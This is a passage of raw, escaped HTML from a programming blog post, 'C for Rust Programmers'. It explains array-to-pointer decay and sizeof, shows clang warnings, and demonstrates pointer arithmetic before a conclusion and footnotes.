syntax-c&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;
    &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-C99 syntax-c&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;Declared size (function): &lt;span class=&quot;syntax-constant syntax-other syntax-placeholder syntax-c&quot;&gt;%ld&lt;/span&gt; bytes&lt;span class=&quot;syntax-constant syntax-character syntax-escape syntax-c&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-word syntax-c&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;declared_size&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-C99 syntax-c&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;Inferred size (function): &lt;span class=&quot;syntax-constant syntax-other syntax-placeholder syntax-c&quot;&gt;%ld&lt;/span&gt; bytes&lt;span class=&quot;syntax-constant syntax-character syntax-escape syntax-c&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-word syntax-c&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;inferred_size&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;None of the logic changed, the arrays are identical to the previous example, however now the program reports each array takes &lt;strong&gt;8 bytes of memory&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shellscript&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; ./main&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Declared&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; size (function&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 8 bytes&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Inferred&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; size (function&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 8 bytes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why? Because any array passed through a function is &lt;em&gt;implicitly converted&lt;/em&gt; to a pointer to the first element. From the C compiler&#39;s perspective, the above function actually had the following type signature:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-c&quot;&gt;function&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;syntax-variable syntax-parameter syntax-c&quot;&gt;declared_size&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;syntax-variable syntax-parameter syntax-c&quot;&gt;inferred_size&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is why it confusingly looked like each array was 8 bytes long. The arrays themselves are 3 bytes, but the pointers take up 8 bytes of memory! Handily, Clang raises a warning when you run &lt;code&gt;sizeof()&lt;/code&gt; on the pointer form of an array, making it easier to catch this mistake:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shellscript&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clang main.c&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;06-arrays/main.c:5:59:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; warning: sizeof on array function parameter will return size of &lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;char *&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;instead&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; of &lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;char[3]&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;-Wsizeof&lt;span class=&quot;syntax-keyword syntax-operator syntax-word syntax-shell&quot;&gt;-&lt;/span&gt;array&lt;span class=&quot;syntax-keyword syntax-operator syntax-word syntax-shell&quot;&gt;-&lt;/span&gt;argument&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;5&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-logical syntax-pipe syntax-shell&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;printf&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;(&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;Declared size (function): %ld bytes\n&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;, sizeof(declared_size&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-logical syntax-continue syntax-shell&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-logical syntax-pipe syntax-shell&quot;&gt;|&lt;/span&gt;                                                           &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;^&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;06-arrays/main.c:4:20:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; note: declared here&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;4&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-logical syntax-pipe syntax-shell&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;void&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; function(char declared_size&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;3&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;, char inferred_size&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;]) &lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-brace syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-expansion syntax-brace syntax-begin syntax-shell&quot;&gt;{&lt;/span&gt;
      |                    ^
06-arrays/main.c:6:59: warning: sizeof on array function parameter will return size of &lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;char *&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;
      instead of &lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;char[]&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;-Wsizeof&lt;span class=&quot;syntax-keyword syntax-operator syntax-word syntax-shell&quot;&gt;-&lt;/span&gt;array&lt;span class=&quot;syntax-keyword syntax-operator syntax-word syntax-shell&quot;&gt;-&lt;/span&gt;argument&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;
    6 |     printf(&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;Inferred size (function): %ld bytes\n&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-shell&quot;&gt;,&lt;/span&gt; sizeof(inferred_size));
      |                                                           ^
06-arrays/main.c:4:43: note: declared here
    4 | void function(char declared_size&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;3&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-shell&quot;&gt;,&lt;/span&gt; char inferred_size&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;]) &lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-brace syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-expansion syntax-brace syntax-begin syntax-shell&quot;&gt;{&lt;/span&gt;
      |                                           ^
2 warnings generated.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Oh Yeah References Don&#39;t Exist&lt;/h2&gt;
&lt;p&gt;I&#39;d be remiss if I didn&#39;t mention it once. C has no borrow checking, and no concept of references. It&#39;s all &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://doc.rust-lang.org/stable/std/primitive.pointer.html&quot;&gt;raw pointers&lt;/a&gt;. This means you can do fun pointer arithmetic like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; array&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; Woah, iterating over pointers instead of indexes!
&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-c&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; x &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;&amp;amp;&lt;/span&gt;array&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; x &lt;span class=&quot;syntax-keyword syntax-operator syntax-comparison syntax-c&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;&amp;amp;&lt;/span&gt;array&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; x&lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;x &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;x&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, I&#39;m not sure how good an idea that is. 😅&lt;/p&gt;
&lt;p&gt;Either way, be careful when you mess with pointers. Making mistakes with memory results in buffer overflows and out-of-bounds writes, which provide significant threats to the security of your code.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/vuln-categories-2021.png&quot; alt=&quot;A graph visualizing which vulnerability category had the most CVEs between November 2021 and January 2022. Buffer overflow is the third most common, with 346 CVEs, and out-of-bounds writes are the ninth most common, with 204 CVEs. The two categories more common than buffer overflow are denial-of-service with 488 and cross-site scripting with 683.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Vulnerability category distribution for CVEs registered between Nov. 2021 and Jan. 2022, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://unit42.paloaltonetworks.com/network-security-trends-cross-site-scripting/&quot;&gt;via&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I hope you enjoyed this article! I&#39;ve honestly had a lot of fun learning C. And while I doubt I&#39;ll reach for it for personal projects, it&#39;s absolutely a crucial language to know as a systems programmer. All the examples in this blog are &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/BD103/C-for-Rust-Programmers&quot;&gt;available on Github&lt;/a&gt;, if you&#39;d like to mess with them yourself!&lt;/p&gt;
&lt;p&gt;Until next time,&lt;/p&gt;
&lt;p&gt;- BD103 :)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Technically you can use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.cppreference.com/c/keyword/_Bool&quot;&gt;&lt;code&gt;_Bool&lt;/code&gt;&lt;/a&gt; without the header, but you still need it for the &lt;code&gt;true&lt;/code&gt; and &lt;code&gt;false&lt;/code&gt; definitions. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fr-_bool-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It looks like &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://clang.llvm.org/c_status.html&quot;&gt;Clang still has only partial support for C23&lt;/a&gt;, so you may need to wait a little while longer before chucking away your &lt;code&gt;#include &amp;lt;stdbool.h&amp;gt;&lt;/code&gt; statements. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fr-c23-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The corresponding Rust function is not idiomatic, and can only correctly handle ASCII text. If I were writing a production version of this function, it would be a single line of code: &lt;code&gt;forward.chars().rev().collect::&amp;lt;String&amp;gt;()&lt;/code&gt;. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fr-rust-reverse-string-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://doc.rust-lang.org/stable/std/primitive.usize.html&quot;&gt;&lt;code&gt;usize&lt;/code&gt;&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://doc.rust-lang.org/stable/std/primitive.isize.html&quot;&gt;&lt;code&gt;isize&lt;/code&gt;&lt;/a&gt; don&#39;t perfectly map semantically to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cppreference.com/c/types/size_t&quot;&gt;&lt;code&gt;size_t&lt;/code&gt;&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cppreference.com/c/types/ptrdiff_t&quot;&gt;&lt;code&gt;ptrdiff_t&lt;/code&gt;&lt;/a&gt;. I don&#39;t fully understand the difference, however, so I recommend doing your own research before using these types. &lt;a target=&quot;_blank&quot; 